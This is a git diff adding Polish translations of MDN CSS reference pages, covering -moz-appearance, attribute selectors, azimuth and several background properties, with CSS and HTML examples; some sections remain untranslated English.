+<pre class="eval">-moz-appearance:<em>appearance value</em> +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>none</dt> + <dd>Żaden specjalny wygląd nie jest stosowany. (Domyślnie)</dd> + <dt>button</dt> + <dd>Element jest rysowany jak przycisk (<em>button</em>).</dd> + <dt>button-small</dt> + <dd>Element jest rysowany jak mały przycisk (<em>small button</em>).</dd> + <dt>checkbox</dt> + <dd>Element jest rysowany jak pole wyboru (<em>checbox</em>), uwzględniając tylko stan bieżący (<em>actual</em>) pola wyboru.</dd> + <dt>checkbox-container</dt> + <dd>Element jest rysowany jak kontener dla pola wyboru, który może zawierać efekt podświetlanego tła pod określoną platformą. Zazwyczaj powinien zawierać etykietę (<em>label</em>) oraz pole wyboru.</dd> + <dt>checkbox-small</dt> + <dt>dialog</dt> + <dd>Element jest stylizowany jak pole dialogowe (<em>dialog box</em>), które zawiera kolor tła i inne własności.</dd> + <dt>listbox</dt> + <dt>menuitem</dt> + <dd>Element jest stylizowany jak pozycja menu (<em>menu item</em>), pozycja jest podświetlana po najechaniu.</dd> + <dt>menulist</dt> + <dt>menulist-button</dt> + <dd>Element jest stylizowany jak przycisk (<em>button</em>), który może wskazywać, że listę menu (<em>menulist</em>) można otworzyć.</dd> + <dt>menulist-textfield</dt> + <dd>Element jest stylizowany jak pole tekstowe (<em>text field</em>) dla listy menu (<em>menulist</em>).</dd> + <dt>menupopup</dt> + <dt>progressbar</dt> + <dd>Element jest stylizowany jak pasek postępu (<em>progress bar</em>).</dd> + <dt>radio</dt> + <dd>Element jest stylizowany jak przycisk typu radio (<em>radio button</em>), uwzględniając tylko stan bieżący (<em>actual</em>) przycisku radio.</dd> + <dt>radio-container</dt> + <dd>Element jest rysowany jak kontener przycisku radio, który może zawierać efekt podświetlanego tła pod określoną platformą. Zazwyczaj powinien zawierać etykietę (<em>label</em>) oraz przycisk radio.</dd> + <dt>radio-small</dt> + <dt>resizer</dt> + <dt>scrollbar</dt> + <dt>scrollbarbutton-down</dt> + <dt>scrollbarbutton-left</dt> + <dt>scrollbarbutton-right</dt> + <dt>scrollbarbutton-up</dt> + <dt>scrollbartrack-horizontal</dt> + <dt>scrollbartrack-vertical</dt> + <dt>separator</dt> + <dt>statusbar</dt> + <dt>tab</dt> + <dt>tab-left-edge</dt> + <dt>tabpanels</dt> + <dt>textfield</dt> + <dt>toolbar</dt> + <dt>toolbarbutton</dt> + <dt>toolbox</dt> + <dt>tooltip</dt> + <dt>treeheadercell</dt> + <dt>treeheadersortarrow</dt> + <dt>treeitem</dt> + <dt>treetwisty</dt> + <dt>treetwistyopen</dt> + <dt>treeview</dt> + <dt>window</dt> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre>.exampleone { + -moz-appearance: toolbarbutton; +} +</pre> + +<h2 id="Notatki" name="Notatki">Notatki</h2> + +<p>Ta własność jest często używana w arkuszach stylów <a href="pl/XUL">XUL</a> do projektowania zwyczajnych dla platformy widżetów oraz w implementacjach <a href="pl/XBL">XBL</a> widżetów, które pochodzą z platformy mozilla.</p> diff --git a/files/pl/web/css/attribute_selectors/index.html b/files/pl/web/css/attribute_selectors/index.html new file mode 100644 index 0000000000..93ffda8fec --- /dev/null +++ b/files/pl/web/css/attribute_selectors/index.html @@ -0,0 +1,238 @@ +--- +title: Selektory artybutów +slug: Web/CSS/Attribute_selectors +translation_of: Web/CSS/Attribute_selectors +--- +<div>{{CSSRef}}</div> + +<p><strong>Selektor atrybutów </strong>CSS dopasowuje elementy w oparciu o obecność lub wartość danego atrybutu.</p> + +<pre class="brush: css no-line-numbers">/* <a> Element z artybutem "title" */ +a[title] { + color: purple; +} + +/* <a> elemente href zawierajacy "https://example.org" */ +a[href="https://example.org"] { + color: green; +} + +/* <a> element href zawirający "example" */ +a[href*="example"] { + font-size: 2em; +} + +/* <a> elementy href kończące się na ".org" */ +a[href$=".org"] { + font-style: italic; +} + +/* <a> elementy, których atrybut klasy zawiera słowo "logo" */ +a[class~="logo"] { + padding: 2px; +}</pre> + +<h2 id="Syntax">Syntax</h2> + +<dl> + <dt><code>[<em>attr</em>]</code></dt> +</dl> + +<p>Reprezentuje elementy z atrybutem o nazwie attr.</p> + +<dl> + <dt><code>[<em>attr</em>=<em>value</em>]</code></dt> + <dd>Reprezentuje elementy z atrybutem o nazwie attr, którego wartością jest "value".</dd> + <dt><code>[<em>attr</em>~=<em>value</em>]</code></dt> + <dd>Represents elements with an attribute name of <em>attr</em> whose value is a whitespace-separated list of words, one of which is exactly <em>value</em>.</dd> + <dt><code>[<em>attr</em>|=<em>value</em>]</code></dt> + <dd>Represents elements with an attribute name of <em>attr</em> whose value can be exactly <em>value</em> or can begin with <em>value</em> immediately followed by a hyphen, <code>-</code> (U+002D). It is often used for language subcode matches.</dd> + <dt><code>[<em>attr</em>^=<em>value</em>]</code></dt> + <dd>Represents elements with an attribute name of <em>attr</em> whose value is prefixed (preceded) by <em>value</em>.</dd> + <dt><code>[<em>attr</em>$=<em>value</em>]</code></dt> + <dd>Represents elements with an attribute name of <em>attr</em> whose value is suffixed (followed) by <em>value</em>.</dd> + <dt><code>[<em>attr</em>*=<em>value</em>]</code></dt> + <dd>Represents elements with an attribute name of <em>attr</em> whose value contains at least one occurrence of <em>value</em> within the string.</dd> + <dt id="case-insensitive"><code>[<em>attr</em> <em>operator</em> <em>value</em> i]</code></dt> + <dd>Adding an <code>i</code> (or <code>I</code>) before the closing bracket causes the value to be compared case-insensitively (for characters within the ASCII range).</dd> + <dt id="case-sensitive"><code>[<em>attr</em> <em>operator</em> <em>value</em> s]</code> {{Experimental_Inline}}</dt> + <dd>Adding an <code>s</code> (or <code>S</code>) before the closing bracket causes the value to be compared case-sensitively (for characters within the ASCII range).</dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<h3 id="Links">Links</h3> + +<h4 id="CSS">CSS</h4> + +<pre class="brush: css">a { + color: blue; +} + +/* Internal links, beginning with "#" */ +a[href^="#"] { + background-color: gold; +} + +/* Links with "example" anywhere in the URL */ +a[href*="example"] { + background-color: silver; +} + +/* Links with "insensitive" anywhere in the URL, + regardless of capitalization */ +a[href*="insensitive" i] { + color: cyan; +} + +/* Links with "cAsE" anywhere in the URL, +with matching capitalization */ +a[href*="cAsE" s] { + color: pink; +} + +/* Links that end in ".org" */ +a[href$=".org"] { + color: red; +}</pre> + +<h4 id="HTML">HTML</h4> + +<pre class="brush: html"><ul> + <li><a href="#internal">Internal link</a></li> + <li><a href="http://example.com">Example link</a></li> + <li><a href="#InSensitive">Insensitive internal link</a></li> + <li><a href="http://example.org">Example org link</a></li> +</ul></pre> + +<h4 id="Result">Result</h4> + +<p>{{EmbedLiveSample("Links")}}</p> + +<h3 id="Languages">Languages</h3> + +<h4 id="CSS_2">CSS</h4> + +<pre class="brush: css">/* All divs with a `lang` attribute are bold. */ +div[lang] { + font-weight: bold; +} + +/* All divs without a `lang` attribute are italicized. */ +div:not([lang]) { + <span class="st">font-style: italic;</span> +} + +/* All divs in US English are blue. */ +div[lang~="en-us"] { + color: blue; +} + +/* All divs in Portuguese are green. */ +div[lang="pt"] { + color: green; +} + +/* All divs in Chinese are red, whether + simplified (zh-CN) or traditional (zh-TW). */ +div[lang|="zh"] { + color: red; +} + +/* All divs with a Traditional Chinese + `data-lang` are purple. */ +/* Note: You could also use hyphenated attributes + without double quotes */ +div[data-lang="zh-TW"] { + color: purple; +} +</pre> + +<h4 id="HTML_2">HTML</h4> + +<pre class="brush: html"><div lang="en-us en-gb en-au en-nz">Hello World!</div> +<div lang="pt">Olá Mundo!</div> +<div lang="zh-CN">世界您好！</div> +<div lang="zh-TW">世界您好！</div> +<div data-lang="zh-TW">世界您好！</div> +</pre> + +<h4 id="Result_2">Result</h4> + +<p>{{EmbedLiveSample("Languages")}}</p> + +<h3 id="HTML_ordered_lists">HTML ordered lists</h3> + +<p>The HTML specification requires the {{htmlattrxref("type", "input")}} attribute to be matched case-insensitively due to it primarily being used in the {{HTMLElement("input")}} element, trying to use attribute selectors to with the {{htmlattrxref("type", "ol")}} attribute of an {{HTMLElement("ol", "ordered list")}} doesn't work without the <a href="#case-sensitive">case-sensitive</a> modifier.</p> + +<h4 id="CSS_3">CSS</h4> + +<pre class="brush: css">/* List types require the case sensitive flag due to a quirk in how HTML treats the type attribute. */ +ol[type="a"] { + list-style-type: lower-alpha; + background: red; +} + +ol[type="a" s] { + list-style-type: lower-alpha; + background: lime; +} + +ol[type="A" s] { + list-style-type: upper-alpha; + background: lime; +}</pre> + +<h4 id="HTML_3">HTML</h4> + +<pre class="brush: html;"><ol type="A"> + <li>Example list</li> +</ol></pre> + +<h4 id="Result_3">Result</h4> + +<p>{{EmbedLiveSample("HTML_ordered_lists")}}</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("CSS4 Selectors", "#attribute-selectors", "attribute selectors")}}</td> + <td>{{Spec2("CSS4 Selectors")}}</td> + <td>Adds modifier for ASCII case-sensitive and case-insensitive attribute value selection.</td> + </tr> + <tr> + <td>{{SpecName("CSS3 Selectors", "#attribute-selectors", "attribute selectors")}}</td> + <td>{{Spec2("CSS3 Selectors")}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName("CSS2.1", "selector.html#attribute-selectors", "attribute selectors")}}</td> + <td>{{Spec2("CSS2.1")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("css.selectors.attribute")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{CSSxRef("attr")}}</li> + <li>Selecting a single element: {{DOMxRef("Document.querySelector()")}}, {{DOMxRef("DocumentFragment.querySelector()")}}, or {{DOMxRef("Element.querySelector()")}}</li> + <li>Selecting all matching elements: {{DOMxRef("Document.querySelectorAll()")}}, {{DOMxRef("DocumentFragment.querySelectorAll()")}}, or {{DOMxRef("Element.querySelectorAll()")}}</li> + <li>The above methods are all implemented based on the {{DOMxRef("ParentNode")}} mixin; see {{DOMxRef("ParentNode.querySelector()")}} and {{DOMxRef("ParentNode.querySelectorAll()")}}</li> +</ul> diff --git a/files/pl/web/css/azimuth/index.html b/files/pl/web/css/azimuth/index.html new file mode 100644 index 0000000000..2841b5441e --- /dev/null +++ b/files/pl/web/css/azimuth/index.html @@ -0,0 +1,97 @@ +--- +title: azimuth +slug: Web/CSS/azimuth +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Archive/Web/CSS/azimuth +--- +<p>{{ CSSRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>W połączeniu z <code><a href="pl/CSS/elevation">elevation</a></code>, <code>azimuth</code> umożliwia ustawianie różnych źródeł audio w przestrzeni i wykorzystywanie ich do prezentacji słuchowych. Jest to ważne w związku z tym, że dostarcza to naturalnego sposobu do odtwarzania kilku głosów w oddali, przy czym każdy z nich może pojawić się w innym miejscu strefy dźwięku. Wyjście stereofoniczne wytwarza boczną strefę dźwięku, podczas gdy obuuszne słuchawki i wielogłośnikowe zestawy pozwalają na pełną trójwymiarową strefę.</p> + +<ul> + <li>{{ Xref_cssinitial() }}: center</li> + <li>Stosowany do: wszystkich elementów</li> + <li>{{ Xref_cssinherited() }}: tak</li> + <li>Procenty: N/A</li> + <li>Media: {{cssxref("aural")}}</li> + <li>{{ Xref_csscomputed() }}: normalizowany kąt</li> +</ul> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">azimuth:<em>angle</em> | [[ left-side | far-left | left | + center-left | center | center-right | right | + far-right | right-side ] || behind ] | leftwards | + rightwards | inherit +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>angle </dt> + <dd>Słyszalna pozycja źródła jest opisywana jako kąt z zakresu <code>-360 stopni</code> do <code>360 stopni</code>. Wartość <code>0stopni</code> znaczy dokładnie z przodu w centrum strefy dźwięku (to jest wartość domyślna). <code>90 stopni</code> jest na prawo, <code>180 stopni</code> z tyłu, i <code>270 stopni</code> lub <code>-90 stopni</code> jest na lewo.</dd> +</dl> + +<p><img alt="grafika:Azimuth.png"></p> + +<p> </p> + +<h4 id="S.C5.82owa_kluczowe_do_ustawiania_pozycji" name="S.C5.82owa_kluczowe_do_ustawiania_pozycji">Słowa kluczowe do ustawiania pozycji</h4> + +<ul> + <li><strong>left-side</strong>: Tak samo jak <code>270 stopni</code>.</li> + <li><strong>left-side behind</strong>: Tak samo jak <code>270 stopni</code>.</li> + <li><strong>far-left</strong>: Tak samo jak <code>300 stopni</code>.</li> + <li><strong>far-left behind</strong>: Tak samo jak <code>240 stopni</code>.</li> + <li><strong>left</strong>: Tak samo jak <code>320 stopni</code>.</li> + <li><strong>left behind</strong>: Tak samo jak <code>220 stopni</code>.</li> + <li><strong>center-left</strong>: Tak samo jak <code>340 stopni</code>.</li> + <li><strong>center-left behind</strong>: Tak samo jak <code>200 stopni</code>.</li> + <li><strong>center</strong>: Tak samo jak <code>0 stopni</code>.</li> + <li><strong>center behind</strong>: Tak samo jak <code>180 stopni</code>.</li> + <li><strong>center-right</strong>: Tak samo jak <code>20 stopni</code>.</li> + <li><strong>center-right behind</strong>: Tak samo jak <code>160 stopni</code>.</li> + <li><strong>right</strong>: Tak samo jak <code>40 stopni</code>.</li> + <li><strong>right behind</strong>: Tak samo jak <code>140 stopni</code>.</li> + <li><strong>far-right</strong>: Tak samo jak <code>60 stopni</code>.</li> + <li><strong>far-right behind</strong>: Tak samo jak <code>120 stopni</code>.</li> + <li><strong>right-side</strong>: Tak samo jak <code>90 stopni</code>.</li> + <li><strong>right-side behind</strong>: Tak samo jak <code>90 stopni</code>.</li> + <li><strong>behind</strong>: Tak samo jak <code>180 stopni</code>. Także używane jako modyfikator dla innych słów kluczowych do ustawiania pozycji, takich jak powyżej.</li> + <li><strong>leftwards</strong>: Przesuwa dźwięk przeciwnie do kierunku ruchu wskazówek zegara o 20 stopni, w stosunku do obecnego kąta.</li> + <li><strong>rightwards</strong>: Przesuwa dźwięk zgodnie z kierunkiem ruchu wskazówek zegara o 20 stopni, w stosunku do obecnego kąta.</li> +</ul> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<pre>h1 { azimuth: 30deg } +td.a { azimuth: far-right } /* 60 stopni */ +#12 { azimuth: behind far-right } /* 120 stopni */ +p.comment { azimuth: behind } /* 180 stopni */ +</pre> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS21/aural.html#spatial-props">CSS 2.1</a></li> +</ul> + +<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3> + +<p>TBD (może być porzucone ze względu na listę centralnej zgodności)</p> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p>{{ Cssxref("elevation") }}</p> + +<p> </p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/CSS/azimuth", "es": "es/CSS/azimuth", "fr": "fr/CSS/azimuth", "zh-cn": "cn/CSS/azimuth" } ) }}</p> diff --git a/files/pl/web/css/background-attachment/index.html b/files/pl/web/css/background-attachment/index.html new file mode 100644 index 0000000000..636e991bdf --- /dev/null +++ b/files/pl/web/css/background-attachment/index.html @@ -0,0 +1,124 @@ +--- +title: background-attachment +slug: Web/CSS/background-attachment +tags: + - CSS + - CSS Background + - CSS Property + - Reference +translation_of: Web/CSS/background-attachment +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Jeśli {{ Cssxref("background-image") }} jest określone, <code>background-attachment</code> decyduje, czy położenie danego obrazka jest stałe względem okna, czy też przewija się wraz z zawierającym go blokiem.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">background-attachment: scroll | fixed | inherit +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>scroll </dt> + <dd>Jeśli zdefiniowane jest <code>scroll</code>, obrazek tła będzie się przewijał wewnątrz okna wraz z zawierającym go blokiem.</dd> + <dt>fixed </dt> + <dd>Jeśli zdefiniowane jest <code>fixed</code>, obrazek tła nie będzie się przewijał z zawierającym go blokiem, zamiast tego pozostanie nieruchomy względem okna.</dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Simple_example">Simple example</h3> + +<h4 id="CSS">CSS</h4> + +<pre class="brush:css; highlight:[3];">p { + background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"); + background-attachment: fixed; +} +</pre> + +<h4 id="HTML">HTML</h4> + +<pre class="brush: html"><p> + There were doors all round the hall, but they were all locked; and when + Alice had been all the way down one side and up the other, trying every + door, she walked sadly down the middle, wondering how she was ever to + get out again. +</p></pre> + +<h4 id="Result">Result</h4> + +<p>{{EmbedLiveSample("Simple_example")}}</p> + +<h3 id="Multiple_background_image_support">Multiple background image support</h3> + +<p>This property supports multiple background images. You can specify a different <code><attachment></code> for each background, separated by commas. Each image is matched with the corresponding attachment type, from first specified to last.</p> + +<h4 id="CSS_2">CSS</h4> + +<pre class="brush:css; highlight:[3];">p { + background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"), url("https://mdn.mozillademos.org/files/12059/startransparent.gif"); + background-attachment: fixed, scroll; + background-repeat: no-repeat, repeat-y; +}</pre> + +<h4 id="HTML_2">HTML</h4> + +<pre class="brush: html"><p> + There were doors all round the hall, but they were all locked; and when + Alice had been all the way down one side and up the other, trying every + door, she walked sadly down the middle, wondering how she was ever to + get out again. + + Suddenly she came upon a little three-legged table, all made of solid + glass; there was nothing on it except a tiny golden key, and Alice's + first thought was that it might belong to one of the doors of the hall; + but, alas! either the locks were too large, or the key was too small, + but at any rate it would not open any of them. However, on the second + time round, she came upon a low curtain she had not noticed before, and + behind it was a little door about fifteen inches high: she tried the + little golden key in the lock, and to her great delight it fitted! +</p></pre> + +<h4 id="Result_2">Result</h4> + +<p>{{EmbedLiveSample("Multiple_background_image_support")}}</p> +<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS1#background-attachment">CSS 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background-attachment">CSS 2.1</a></li> + <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#background-attachment">CSS 3</a></li> +</ul> + +<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th>Przeglądarka</th> + <th>Najniższa wersja</th> + </tr> + <tr> + <td>Internet Explorer</td> + <td>4</td> + </tr> + <tr> + <td>Firefox</td> + <td>1</td> + </tr> + <tr> + <td>Netscape</td> + <td>6</td> + </tr> + <tr> + <td>Opera</td> + <td>3.5</td> + </tr> + </tbody> +</table> diff --git a/files/pl/web/css/background-color/index.html b/files/pl/web/css/background-color/index.html new file mode 100644 index 0000000000..611526f4ac --- /dev/null +++ b/files/pl/web/css/background-color/index.html @@ -0,0 +1,82 @@ +--- +title: background-color +slug: Web/CSS/background-color +tags: + - CSS + - CSS Background + - CSS Property + - Reference +translation_of: Web/CSS/background-color +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p><code>Właściwość CSS <strong>background-color</strong></code> ustawia kolor tła elementu, albo poprzez wartość koloru lub słowo kluczowe <em><code>transparent</code></em>.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<p>Właściwość <strong>background-color</strong> jest deklarowana jako pojedyncza wartość <color>.</p> + +<pre class="eval">background-color: <em>color</em> | transparent | inherit +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>{{cssxref("<color>")}}</dt> + <dd>Jest to styl CSS, który opisuje zunifikowany kolor tła. Nawet jeśli jest zdefiniowany jeden lub kilka {{cssxref("background-image")}}, kolor może być renderowany, poprzez przezroczystość o ile nie jest ustawiony jako opaque. W CSS <em>transparent</em> jest kolorem.</dd> + <dd>Kolor może być określony jako szesnastkowa wartość RGB np. #ffaac9, typowa wartość RGB np. + <pre><code>rgb(255, 255, 128);</code></pre> + lub poprzez użycie jednego z predefiniowanych słów kluczowych określających kolor.</dd> + <dt>transparent </dt> + <dd>Domyślną wartością dla <strong><code>background-color</code></strong> jest <em><code>transparent</code></em>, oznacza to, że element nie ma własnego koloru tła, zamiast tego renderowany jest kolor tła rodzica.</dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><div class="exampleone"> + Lorem ipsum dolor sit amet, consectetuer +</div> + +<div class="exampletwo"> + Lorem ipsum dolor sit amet, consectetuer +</div> + +<div class="examplethree"> + Lorem ipsum dolor sit amet, consectetuer +</div></pre> + +<h3 id="CSS">CSS</h3> + +<pre class="brush: css; highlight:[2,7,12,17];">.exampleone { + background-color: teal; + color: white; +} + +.exampletwo { + background-color: rgb(153,102,153); + color: rgb(255,255,204); +} + +.examplethree { + background-color: #777799; + color: #FFFFFF; +} +</pre> + +<h3 id="Result">Result</h3> + +<p>{{EmbedLiveSample("Examples","200","150")}}</p> + +<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS1#background-color">CSS 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background-color">CSS 2.1</a></li> + <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#background-color">CSS 3</a></li> +</ul> diff --git a/files/pl/web/css/background-image/index.html b/files/pl/web/css/background-image/index.html new file mode 100644 index 0000000000..471909c967 --- /dev/null +++ b/files/pl/web/css/background-image/index.html @@ -0,0 +1,114 @@ +--- +title: background-image +slug: Web/CSS/background-image +tags: + - CSS + - CSS Background + - CSS Property + - Reference +translation_of: Web/CSS/background-image +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Własność <code>background-image</code> ustawia obrazek tła dla elementu.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">background-image: <em>uri</em> | none | inherit +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>uri </dt> + <dd>Położenie zasobu obrazka używanego jako obrazek tła.</dd> + <dt>none </dt> + <dd>Używane do wyszczególnienia, że dany element nie powinien mieć obrazka tła.</dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<p>Note that the star image is partially transparent and is layered over the cat image.</p> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><div> + <p class="catsandstars"> + This paragraph is full of cats<br />and stars. + </p> + <p>This paragraph is not.</p> + <p class="catsandstars"> + Here are more cats for you.<br />Look at them! + </p> + <p>And no more.</p> +</div></pre> + +<h3 id="CSS">CSS</h3> + +<pre class="brush: css">pre, p { + font-size: 1.5em; + color: #FE7F88; + background-color: transparent; +} + +div { + background-image: url("https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png"); +} + +p { + background-image: none; +} + +.catsandstars { + background-image: url("https://mdn.mozillademos.org/files/11991/startransparent.gif"), + url("https://mdn.mozillademos.org/files/7693/catfront.png"); + background-color: transparent; +} +</pre> + +<h3 id="Result">Result</h3> + +<p>{{EmbedLiveSample('Przyk%C5%82ady')}}</p> + +<h2 id="Uwagi" name="Uwagi">Uwagi</h2> + +<p>Twórcy powinni się upewnić, że określili {{ Cssxref("background-color") }} do użycia w przypadku, jeśli obrazek jest niedostępny. Obrazki tła są wyświetlane nad kolorem tła.</p> + +<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS1#background-image">CSS 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background-image">CSS 2.1</a></li> + <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#the-background-image">CSS 3</a></li> +</ul> + +<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th>Przeglądarki</th> + <th>Najniższa wersja</th> + </tr> + <tr> + <td>Internet Explorer</td> + <td>4</td> + </tr> + <tr> + <td>Firefox</td> + <td>1</td> + </tr> + <tr> + <td>Netscape</td> + <td>4</td> + </tr> + <tr> + <td>Opera</td> + <td>3.5</td> + </tr> + </tbody> +</table> diff --git a/files/pl/web/css/background-origin/index.html b/files/pl/web/css/background-origin/index.html new file mode 100644 index 0000000000..551703c7da --- /dev/null +++ b/files/pl/web/css/background-origin/index.html @@ -0,0 +1,52 @@ +--- +title: background-origin +slug: Web/CSS/background-origin +tags: + - CSS + - CSS Background + - CSS Property +translation_of: Web/CSS/background-origin +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>w aplikacjach opartych na Mozilli <code>-moz-background-origin</code> decyduje, który boks wyznacza układ współrzędnych używanych przez wartości własności {{ Cssxref("background-position") }}.</p> + +<p><code>background-origin</code> nie stosuje się, gdy własność {{ Cssxref("background-attachment") }} ma wartość <code>fixed</code>.</p> + +<ul> + <li>Wartość początkowa: padding-box</li> + <li>Dotyczy: wszystkich elementów</li> + <li>Dziedziczony: nie</li> +</ul> + +<p> </p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">background-origin: border-box | padding-box | content-box +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>border-box</dt> + <dd>Pozycja tła jest relatywna względem obramowania, zatem obrazek może znaleźć się pod obramowaniem.</dd> + <dt>padding-box</dt> + <dd>Pozycja tła jest relatywna względem wypełnienia.</dd> + <dt>content-box</dt> + <dd>Pozycja tła jest relatywna względem zawartości.</dd> +</dl> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<pre>hbox.example { + border: 10px double #000000; + padding: 10px; + background: url('image.jpg'); + background-position: center left; + /* tło będzie wewnątrz padding */ + background-origin: content-box; +} +</pre> diff --git a/files/pl/web/css/background-position/index.html b/files/pl/web/css/background-position/index.html new file mode 100644 index 0000000000..6279af31f2 --- /dev/null +++ b/files/pl/web/css/background-position/index.html @@ -0,0 +1,122 @@ +--- +title: background-position +slug: Web/CSS/background-position +tags: + - CSS + - CSS Background + - CSS Property + - Reference +translation_of: Web/CSS/background-position +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p><code>background-position</code> ustawia początkowe położenie obrazka tła, który został zdefiniowany.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">background-position: [ <percentage> | <length> | left | center | right ] + [ <percentage> | <length> | top | center | bottom ] ? ; +</pre> + +<pre class="eval">background-position: [ top | center | bottom ]; +</pre> + +<pre class="eval">background-position: inherit; +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>{{cssxref("<percentage>")}} <percentage></dt> + <dd>Wraz z parą wartości '0% 0%', lewy górny róg obrazka jest wyrównany względem górnego lewego rogu dopełnienia bloku. Para wartości '100% 100%' umieszcza dolny prawy róg obrazka w dolnym prawym rogu obszaru dopełnienia. Wraz z parą wartości '14% 84%', punkt 14% wszerz i 84% w dół obrazka jest umiejscawiany w punkcie 14% wszerz i 84% w dół obszaru dopełnienia'.</dd> + <dt>{{cssxref("<length>")}} <length></dt> + <dd>Wraz z parą wartości '2cm 1cm', górny lewy róg obrazka jest umieszczony 2cm od prawego i 1cm poniżej górnego krańca obszaru dopełnienia.</dd> + <dt>top left oraz left top</dt> + <dd>Tak samo jak '0% 0%'.</dd> + <dt>top, top center, oraz center top</dt> + <dd>Tak samo jak '50% 0%'.</dd> + <dt>right top oraz top right</dt> + <dd>Tak samo jak '100% 0%'.</dd> + <dt>left, left center, oraz center left</dt> + <dd>Tak samo jak '0% 50%'.</dd> + <dt>center oraz center center</dt> + <dd>Tak samo jak '50% 50%'.</dd> + <dt>right, right center, oraz center right</dt> + <dd>Tak samo jak '100% 50%'.</dd> + <dt>bottom left oraz left bottom</dt> + <dd>Tak samo jak '0% 100%'.</dd> + <dt>bottom, bottom center, oraz center bottom</dt> + <dd>Tak samo jak '50% 100%'.</dd> + <dt>bottom right oraz right bottom</dt> + <dd>Tak samo jak '100% 100%'.</dd> +</dl> + +<p>Jeśli tylko jedna wartość jest określona, wtedy ustawia położenie poziome, z pozycją pionową 50%. W innym przypadku 